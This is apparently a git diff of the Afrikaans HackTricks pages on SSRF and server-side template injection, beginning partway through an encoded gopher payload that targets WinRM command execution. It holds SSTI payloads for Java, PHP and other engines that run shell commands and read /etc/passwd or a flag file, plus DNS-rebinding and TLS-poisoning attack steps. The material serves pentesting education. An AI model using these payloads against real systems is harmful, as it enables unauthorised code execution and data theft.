"gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20 +```python self.end_headers() httpd = HTTPServer(('0.0.0.0', 443), MainHandler) @@ -219,24 +204,24 @@ app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
\ -Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik en outomatiese werksvloeie te bou met behulp van die wêreld se mees gevorderde gemeenskapsinstrumente.\ -Kry Vandag Toegang: +Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **outomatiseer werkstrome** aangedryf deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\ +Kry Vandaag Toegang: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} ## DNS Rebidding CORS/SOP omseiling -As jy probleme ondervind om inhoud van 'n plaaslike IP uit te voer as gevolg van CORS/SOP, kan DNS Rebidding gebruik word om daardie beperking te omseil: +As jy **probleme** ondervind om inhoud van 'n plaaslike IP te **eksfileer** as gevolg van **CORS/SOP**, kan **DNS Rebidding** gebruik word om daardie beperking te omseil: {% content-ref url="../cors-bypass.md" %} [cors-bypass.md](../cors-bypass.md) {% endcontent-ref %} -### Outomatiese DNS Rebidding +### Geoutomatiseerde DNS Rebidding -[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) is 'n instrument om [DNS rebinding](https://en.wikipedia.org/wiki/DNS\_rebinding)-aanvalle uit te voer. Dit sluit die nodige komponente in om die IP-adres van die aanvalbediener se DNS-naam te herbind na die teikermasjien se IP-adres en om aanvalsladinge te bedien om kwesbare sagteware op die teikermasjien uit te buit. +[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) is 'n instrument om [DNS rebinding](https://en.wikipedia.org/wiki/DNS\_rebinding) aanvalle uit te voer. Dit sluit die nodige komponente in om die IP-adres van die aanvalbediener se DNS-naam na die teikermasjien se IP-adres te herbind en aanvalspakkette te dien om kwesbare sagteware op die teikermasjien te benut. -Kyk ook na die openbaar lopende bediener in [**http://rebind.it/singularity.html**](http://rebind.it/singularity.html) +Kyk ook na die **openlik lopende bediener in** [**http://rebind.it/singularity.html**](http://rebind.it/singularity.html) ## DNS Rebidding + TLS-sessie-ID/Sessiekaartjie @@ -248,28 +233,28 @@ Vereistes: Aanval: -1. Vra die gebruiker/bot om 'n domein wat deur die aanvaller beheer word, te **benader** +1. Vra die gebruiker/bot om 'n **domein** wat deur die **aanvaller** beheer word, te **toegang** 2. Die **TTL** van die **DNS** is **0** sek (sodat die slagoffer binnekort weer die IP van die domein sal nagaan) -3. 'n **TLS-verbinding** word tussen die slagoffer en die domein van die aanvaller geskep. Die aanvaller voeg die **aanvalslading binne** die **Sessie-ID of Sessiekaartjie** in. -4. Die **domein** sal 'n **oneindige lus** van omleidings teen **homself** begin. Die doel hiervan is om die gebruiker/bot die domein te laat benader totdat dit **weer** 'n **DNS-versoek** van die domein uitvoer. +3. 'n **TLS-verbinding** word geskep tussen die slagoffer en die domein van die aanvaller. Die aanvaller voeg die **pakkie binne** die **Sessie-ID of Sessiekaartjie** in. +4. Die **domein** sal 'n **oneindige kringloop** van herleiings teen **homself** begin. Die doel hiervan is om die gebruiker/bot die domein te laat toegang totdat dit **weer** 'n **DNS-versoek** van die domein uitvoer. 5. In die DNS-versoek word 'n **privaat IP**-adres **nou** gegee (byvoorbeeld 127.0.0.1) -6. Die gebruiker/bot sal probeer om die TLS-verbinding **te herstel** en om dit te doen, sal dit die **Sessie-ID/Sessiekaartjie** stuur (waar die **aanvalslading** van die aanvaller bevat was). So geluk, jy het dit reggekry om die **gebruiker/bot homself te laat aanval**. +6. Die gebruiker/bot sal probeer om die TLS-verbinding **te herstel** en om dit te doen, sal dit die **Sessie**-ID/Kaartjie-ID stuur (waar die **pakkie** van die aanvaller ingesluit was). So gelukkig het jy dit reggekry om die **gebruiker/bot homself aan te val**. -Let daarop dat tydens hierdie aanval, as jy localhost:11211 (_memcache_) wil aanval, moet jy die slagoffer die aanvanklike verbinding met www.attacker.com:11211 laat vestig (die **poort moet altyd dieselfde wees**).\ +Let wel dat tydens hierdie aanval, as jy localhost:11211 (_memcache_) wil aanval, moet jy die slagoffer die aanvanklike verbinding met www.attacker.com:11211 laat vestig (die **poort moet altyd dieselfde wees**).\ Om **hierdie aanval uit te voer, kan jy die instrument gebruik**: [https://github.com/jmdx/TLS-poison/](https://github.com/jmdx/TLS-poison/)\ -Vir **meer inligting**, kyk na die praatjie waarin hierdie aanval verduidelik word: [https://www.youtube.com/watch?v=qGpAJxfADjo\&ab\_channel=DEFCONConference](https://www.youtube.com/watch?v=qGpAJxfADjo\&ab\_channel=DEFCONConference) +Vir **meer inligting** kyk na die gesprek waar hierdie aanval verduidelik word: [https://www.youtube.com/watch?v=qGpAJxfADjo\&ab\_channel=DEFCONConference](https://www.youtube.com/watch?v=qGpAJxfADjo\&ab\_channel=DEFCONConference) ## Blinde SSRF -Die verskil tussen 'n blinde SSRF en 'n nie-blinde een is dat jy in die blinde nie die respons van die SSRF-versoek kan sien nie. Dit is dus moeiliker om uit te buit omdat jy slegs bekende kwesbaarhede kan uitbuit. +Die verskil tussen 'n blinde SSRF en 'n nie-blinde een is dat in die blinde jy nie die respons van die SSRF-versoek kan sien nie. Dit is dus moeiliker om te benut omdat jy slegs bekende kwesbaarhede kan benut. ### Tyd-gebaseerde SSRF -Deur die **tyd** van die respons van die bediener te **ondersoek**, kan dit moontlik wees om te weet of 'n bron bestaan of nie (miskien neem dit langer tyd om 'n bestaande bron te benader as om een te benader wat nie bestaan nie) +Deur die **tyd** van die respons van die bediener te **kontroleer**, kan dit moontlik wees om te weet of 'n hulpbron bestaan of nie (miskien neem dit langer om 'n bestaande hulpbron te benader as om een te benader wat nie bestaan nie) -## Cloud SSRF-uitbuiting +## Wolk-SSRF-uitbuiting -As jy 'n SSRF-kwesbaarheid in 'n masjien wat binne 'n wolkomgewing loop, vind, kan jy interessante inligting oor die wolkomgewing verkry en selfs legitimasie: +As jy 'n SSRF-kwesbaarheid in 'n masjien wat binne 'n wolkomgewing loop vind, kan jy interessante inligting oor die wolkomgewing verkry en selfs geloofsbriewe: {% content-ref url="cloud-ssrf.md" %} [cloud-ssrf.md](cloud-ssrf.md) @@ -283,17 +268,17 @@ Verskeie bekende platforms bevat of het SSRF-kwesbaarhede bevat, kyk na hulle in [ssrf-vulnerable-platforms.md](ssrf-vulnerable-platforms.md) {% endcontent-ref %} -## Instrumente +## Gereedskap ### [**SSRFMap**](https://github.com/swisskyrepo/SSRFmap) -Instrument om SSRF-kwesbaarhede op te spoor en uit te buit +Instrument om SSRF-kwesbaarhede op te spoor en te benut ### [Gopherus](https://github.com/tarunkant/Gopherus) * [Blogpos oor Gopherus](https://spyclub.tech/2018/08/14/2018-08-14-blog-on-gopherus/) -Hierdie instrument genereer Gopher-ladinge vir: +Hierdie instrument genereer Gopher-pakkette vir: * MySQL * PostgreSQL @@ -306,11 +291,11 @@ Hierdie instrument genereer Gopher-ladinge vir: * [Blogpos oor SSRF-gebruik](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/) -_remote-method-guesser_ is 'n _Java RMI_-kwesbaarheidsskander wat aanvalsoperasies vir die meeste algemene _Java RMI_-kwesbaarhede ondersteun. Die meeste van die beskikbare operasies ondersteun die `--ssrf`-opsie om 'n _SSRF_-aanvalslading vir die versoekte operasie te genereer. Saam met die `--gopher`-opsie kan gereedskap vir _gopher_ direk gegenereer word. +_remote-method-guesser_ is 'n _Java RMI_ kwesbaarheidsskandeerder wat aanvalsoperasies vir die mees algemene _Java RMI_ kwesbaarhede ondersteun. Die meeste van die beskikbare operasies ondersteun die `--ssrf`-opsie om 'n _SSRF_-pakkie vir die versoekte operasie te genereer. Saam met die `--gopher`-opsie kan gereedskap vir _gopher_ direk gegenereer word. ### [SSRF Proxy](https://github.com/bcoles/ssrf\_proxy) -SSRF Proxy is 'n veelvoudige-draad HTTP-proksibediener wat ontwerp is om kliënt-HTTP-verkeer deur HTTP-bedieners wat vatbaar is vir Server-Side Request Forgery (SSRF) te tunnel. +SSRF Proxy is 'n multi-draad HTTP-proksiebediener wat ontwerp is om kliënt-HTTP-verkeer deur HTTP-bedieners wat vatbaar is vir Server-Side Request Forgery (SSRF) te tonnel. ### Om te oefen @@ -328,4 +313,18 @@ SSRF Proxy is 'n veelvoudige-draad HTTP-proksibediener wat ontwerp is om kliënt Ander maniere om HackTricks te ondersteun: -* As jy jou **maatskappy in HackTricks wil +* As jy jou **maatskappy in HackTricks wil adverteer** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)! +* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag. + + + +
+ +\ +Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **outomatiseer werkstrome** aangedryf deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\ +Kry Vandaag Toegang: + +{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} diff --git a/pentesting-web/ssti-server-side-template-injection/README.md b/pentesting-web/ssti-server-side-template-injection/README.md index 76c330197..1fb482359 100644 --- a/pentesting-web/ssti-server-side-template-injection/README.md +++ b/pentesting-web/ssti-server-side-template-injection/README.md @@ -1,4 +1,4 @@ -# SSTI (Serverkant Templaatinspuiting) +# SSTI (Server Side Template Injection)
@@ -6,35 +6,35 @@ Ander maniere om HackTricks te ondersteun: -* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)! +* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)! * Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com) * Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family) * **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag. +* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
-[**RootedCON**](https://www.rootedcon.com) is die mees relevante sibersekuriteitgebeurtenis in **Spanje** en een van die belangrikste in **Europa**. Met **die missie om tegniese kennis te bevorder**, is hierdie kongres 'n kookpunt vir tegnologie- en sibersekuriteitsprofessionals in elke dissipline. +[**RootedCON**](https://www.rootedcon.com) is die mees relevante sibersekerheidgebeurtenis in **Spanje** en een van die belangrikste in **Europa**. Met **die missie om tegniese kennis te bevorder**, is hierdie kongres 'n kookpunt vir tegnologie- en sibersekerheidspesialiste in elke dissipline. {% embed url="https://www.rootedcon.com/" %} -## Wat is SSTI (Serverkant Templaatinspuiting) +## Wat is SSTI (Server-Side Template Injection) -Serverkant templaatinspuiting is 'n kwesbaarheid wat voorkom wanneer 'n aanvaller kwaadwillige kode in 'n templaat kan inspuit wat op die bediener uitgevoer word. Hierdie kwesbaarheid kan gevind word in verskeie tegnologieë, insluitend Jinja. +Server-side template injection is 'n kwesbaarheid wat voorkom wanneer 'n aanvaller kwaadwillige kode in 'n templaat kan inspuit wat op die bediener uitgevoer word. Hierdie kwesbaarheid kan gevind word in verskeie tegnologieë, insluitend Jinja. Jinja is 'n gewilde templaat-enjin wat in webtoepassings gebruik word. Laat ons 'n voorbeeld oorweeg wat 'n kwesbare kodefragment demonstreer wat Jinja gebruik: ```python output = template.render(name=request.args.get('name')) ``` -In hierdie kwesbare kode word die `name` parameter van die gebruiker se versoek direk in die templaat ingevoeg met behulp van die `render` funksie. Dit kan potensieel 'n aanvaller toelaat om kwaadwillige kode in die `name` parameter in te spuit, wat kan lei tot 'n server-side templaat inspuiting. +In hierdie kwesbare kode word die `name` parameter van die gebruiker se versoek direk in die templaat ingevoeg met behulp van die `render` funksie. Dit kan potensieel 'n aanvaller in staat stel om kwaadwillige kode in die `name` parameter in te spuit, wat kan lei tot 'n server-side templaat inspuiting. Byvoorbeeld, 'n aanvaller kan 'n versoek met 'n lading soos hierdie saamstel: ``` http://vulnerable-website.com/?name={{bad-stuff-here}} ``` -Die lading `{{slegte-stof-hier}}` word ingespuit in die `naam` parameter. Hierdie lading kan Jinja-sjabloonriglyne bevat wat die aanvaller in staat stel om ongemagtigde kode uit te voer of die sjabloon-enjin te manipuleer, wat moontlik beheer oor die bediener kan verkry. +Die lading `{{slegte-stof-hier}}` word in die `naam`-parameter ingespuit. Hierdie lading kan Jinja-sjabloonriglyne bevat wat die aanvaller in staat stel om ongemagtigde kode uit te voer of die sjabloon-enjin te manipuleer, wat moontlik beheer oor die bediener kan verkry. Om serverkant-sjablooninspuitingskwetsbaarhede te voorkom, moet ontwikkelaars verseker dat gebruikersinvoer behoorlik gesaniteer en gevalideer word voordat dit in sjablone ingevoeg word. Die implementering van invoervalidering en die gebruik van konteks-bewuste ontsnappingstegnieke kan help om die risiko van hierdie kwetsbaarheid te verminder. @@ -43,19 +43,19 @@ Om serverkant-sjablooninspuitingskwetsbaarhede te voorkom, moet ontwikkelaars ve Om Serverkant-sjablooninspuiting (SSTI) op te spoor, is dit aanvanklik **fuzzing van die sjabloon** 'n reguit benadering. Dit behels die inspuiting van 'n reeks spesiale karakters (**`${{<%[%'"}}%\`**) in die sjabloon en die analise van die verskille in die bediener se reaksie op gewone data teenoor hierdie spesiale lading. Kwetsbaarheidsaanwysers sluit in: * Gegooide foute wat die kwetsbaarheid en moontlik die sjabloon-enjin blootstel. -* Afwesigheid van die lading in die weerspieëling, of dele daarvan wat ontbreek, wat impliseer dat die bediener dit anders verwerk as gewone data. -* **Plaintext Konteks**: Onderskei van XSS deur te kyk of die bediener sjabloonuitdrukkings evalueer (bv. `{{7*7}}`, `${7*7}`). -* **Kode Konteks**: Bevestig kwetsbaarheid deur insetparameters te verander. Byvoorbeeld, verander `greeting` in `http://vulnerable-website.com/?greeting=data.username` om te sien of die bediener se uitset dinamies of vas is, soos in `greeting=data.username}}hello` wat die gebruikersnaam teruggee. +* Afwesigheid van die lading in die weerspieëling, of dele daarvan wat ontbreek, wat impliseer dat die bediener dit anders as gewone data verwerk. +* **Plaintext-konteks**: Onderskei van XSS deur te kyk of die bediener sjabloonuitdrukkings evalueer (bv. `{{7*7}}`, `${7*7}`). +* **Kodekonteks**: Bevestig kwetsbaarheid deur insetparameters te verander. Byvoorbeeld, verander `groet` in `http://kwesbare-webwerf.com/?groet=data.gebruikersnaam` om te sien of die bediener se uitset dinamies of vas is, soos in `groet=data.gebruikersnaam}}hallo` wat die gebruikersnaam teruggee. #### Identifikasiefase -Die identifisering van die sjabloon-enjin behels die analise van foutboodskappe of die handmatige toetsing van verskeie taalspesifieke lading. Gewone lading wat foute veroorsaak, sluit in `${7/0}`, `{{7/0}}`, en `<%= 7/0 %>`. Die waarneming van die bediener se reaksie op wiskundige bewerkings help om die spesifieke sjabloon-enjin te bepaal. +Die identifisering van die sjabloon-enjin behels die analisering van foutboodskappe of die handmatige toets van verskeie taalspesifieke lading. Gewone lading wat foute veroorsaak, sluit in `${7/0}`, `{{7/0}}`, en `<%= 7/0 %>`. Die waarneming van die bediener se reaksie op wiskundige bewerkings help om die spesifieke sjabloon-enjin te bepaal. ## Gereedskap ### [TInjA](https://github.com/Hackmanit/TInjA) -'n effektiewe SSTI + CSTI-skandeerder wat nuwe poliglote benut +'n Doeltreffende SSTI + CSTI-skandeerder wat nuwe poliglote benut ```bash tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..." tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..." @@ -74,7 +74,7 @@ python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment ``` ### [Template Injection Tabel](https://github.com/Hackmanit/template-injection-table) -'n Interaktiewe tabel wat die mees doeltreffende templaatinspuiting polyglots bevat, saam met die verwagte reaksies van die 44 belangrikste templaat-enjins. +'n Interaktiewe tabel wat die mees doeltreffende templaatinspuiting polyglots bevat saam met die verwagte reaksies van die 44 belangrikste templaat-enjins. ## Exploits @@ -100,7 +100,7 @@ ${class.getResource("../../../../../index.htm").getContent()} ```java ${T(java.lang.System).getenv()} ``` -**Java - Kry /etc/passwd** +**Java - Haal /etc/passwd op** ```java ${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')} @@ -108,12 +108,12 @@ ${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().ex ``` ### FreeMarker (Java) -Jy kan jou payloads probeer by [https://try.freemarker.apache.org](https://try.freemarker.apache.org) +Jy kan jou ladingstoetse probeer by [https://try.freemarker.apache.org](https://try.freemarker.apache.org) * `{{7*7}} = {{7*7}}` * `${7*7} = 49` -* `#{7*7} = 49 -- (legacy)` -* `${7*'7'} Nothing` +* `#{7*7} = 49 -- (oud)` +* `${7*'7'} Niks` * `${foobar}` ```java <#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")} @@ -139,6 +139,7 @@ ${dwf.newInstance(ec,null)("id")} ### Velocity (Java) ```java +// I think this doesn't work #set($str=$class.inspect("java.lang.String").type) #set($chr=$class.inspect("java.lang.Character").type) #set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami")) @@ -147,6 +148,17 @@ $ex.waitFor() #foreach($i in [1..$out.available()]) $str.valueOf($chr.toChars($out.read())) #end + +// This should work? +#set($s="") +#set($stringClass=$s.getClass()) +#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime()) +#set($process=$runtime.exec("cat%20/flag563378e453.txt")) +#set($out=$process.getInputStream()) +#set($null=$process.waitFor() ) +#foreach($i+in+[1..$out.available()]) +$out.read() +#end ``` **Meer inligting** @@ -168,7 +180,7 @@ ${T(java.lang.Runtime).getRuntime().exec('calc')} ${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")} ``` -Thymeleaf vereis dat hierdie uitdrukkings binne spesifieke eienskappe geplaas word. Nietemin word _uitdrukking inlyn_ ondersteun vir ander templaatlokasies, deur sintaksis soos `[[...]]` of `[(...)]` te gebruik. Dus, 'n eenvoudige SSTI toetslading kan lyk soos `[[${7*7}]]`. +Thymeleaf vereis dat hierdie uitdrukkings binne spesifieke eienskappe geplaas word. Nietemin word _uitdrukking inlyn_ ondersteun vir ander templaatlokasies, deur sintaksis soos `[[...]]` of `[(...)]` te gebruik. Dus kan 'n eenvoudige SSTI toetslading lyk soos `[[${7*7}]]`. Die waarskynlikheid dat hierdie lading werk, is egter gewoonlik laag. Thymeleaf se verstekkonfigurasie ondersteun nie dinamiese templaatgenerering nie; templaat moet voorgedefinieer word. Ontwikkelaars sal hul eie `TemplateResolver` moet implementeer om templaat vanaf strings aan die vlieg te skep, wat ongewoon is. @@ -202,7 +214,7 @@ http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')}) ``` **Bypass filters** -Verskeie veranderlike uitdrukkings kan gebruik word, as `${...}` nie werk nie probeer `#{...}`, `*{...}`, `@{...}` of `~{...}`. +Verskeie veranderlike uitdrukkings kan gebruik word, as `${...}` nie werk nie, probeer `#{...}`, `*{...}`, `@{...}` of `~{...}`. * Lees `/etc/passwd` ```java @@ -281,8 +293,6 @@ Nuwe weergawe van Pebble: .newInstance(([bytes]).toArray()) }} ``` ### Jinjava (Java) - -Jinjava is 'n kragsjabloon en 'n skakelbare sjabloonengin vir Java. Dit kan gebruik word vir die uitvoering van sjablone in 'n Java-toepassing. Jinjava ondersteun die meeste van die standaard sjabloonfunksies soos lusse, voorwaardelike verklarings, en filters. Dit is 'n kragtige instrument vir die hantering van sjablone in Java-toepassings. ```java {{'a'.toUpperCase()}} would result in 'A' {{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206 @@ -370,13 +380,13 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc * `${{7*7}}` - 49 * `${{request}}, ${{session}}, {{faceContext}}` -Uitdrukkings Taal (EL) is 'n fundamentele kenmerk wat interaksie fasiliteer tussen die aanbiedingslaag (soos webbladsye) en die aansoeklogika (soos bestuurde bone) in JavaEE. Dit word wyd gebruik oor verskeie JavaEE tegnologieë om hierdie kommunikasie te stroomlyn. Die sleutel JavaEE tegnologieë wat EL gebruik, sluit in: +Uitdrukkings Taal (EL) is 'n fundamentele kenmerk wat interaksie fasiliteer tussen die aanbiedingslaag (soos webbladsye) en die toepassingslogika (soos bestuurde bone) in JavaEE. Dit word wyd gebruik oor verskeie JavaEE tegnologieë om hierdie kommunikasie te stroomlyn. Die sleutel JavaEE tegnologieë wat EL gebruik, sluit in: * **JavaServer Faces (JSF)**: Maak gebruik van EL om komponente in JSF-bladsye te bind aan die ooreenstemmende agterste data en aksies. -* **JavaServer Pages (JSP)**: EL word in JSP gebruik om toegang tot en manipulasie van data binne JSP-bladsye te verkry, wat dit makliker maak om bladsy-elemente met die aansoekdata te koppel. -* **Contexts and Dependency Injection for Java EE (CDI)**: EL integreer met CDI om naadlose interaksie tussen die weblaag en bestuurde bone moontlik te maak, wat 'n meer samehangende aansoekstruktuur verseker. +* **JavaServer Pages (JSP)**: EL word in JSP gebruik om toegang tot en manipulasie van data binne JSP-bladsye te verkry, wat dit makliker maak om bladsy elemente met die toepassingsdata te koppel. +* **Contexts and Dependency Injection for Java EE (CDI)**: EL integreer met CDI om naadlose interaksie tussen die weblaag en bestuurde bone moontlik te maak, wat 'n meer samehangende toepassingsstruktuur verseker. -Kyk na die volgende bladsy om meer te leer oor die **uitbuiting van EL-interpreteerders**: +Kyk na die volgende bladsy om meer te leer oor die **uitbuiting van EL tolke**: {% content-ref url="el-expression-language.md" %} [el-expression-language.md](el-expression-language.md) @@ -427,7 +437,7 @@ this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 1 ``` **Meer inligting** -* In die Smarty-afdeling van [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) +* In die Smarty-seksie van [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty) ### Twig (PHP) @@ -479,7 +489,7 @@ array("first_name" => $user.first_name) ### Plates (PHP) -Plates is 'n templating engine wat inheems is aan PHP, wat inspirasie put uit Twig. Tog, in teenstelling met Twig, wat 'n nuwe sintaksis introduceer, maak Plates gebruik van inheemse PHP-kode in templatings, wat dit intuïtief maak vir PHP-ontwikkelaars. +Plates is 'n templating engine wat inheems is aan PHP, wat 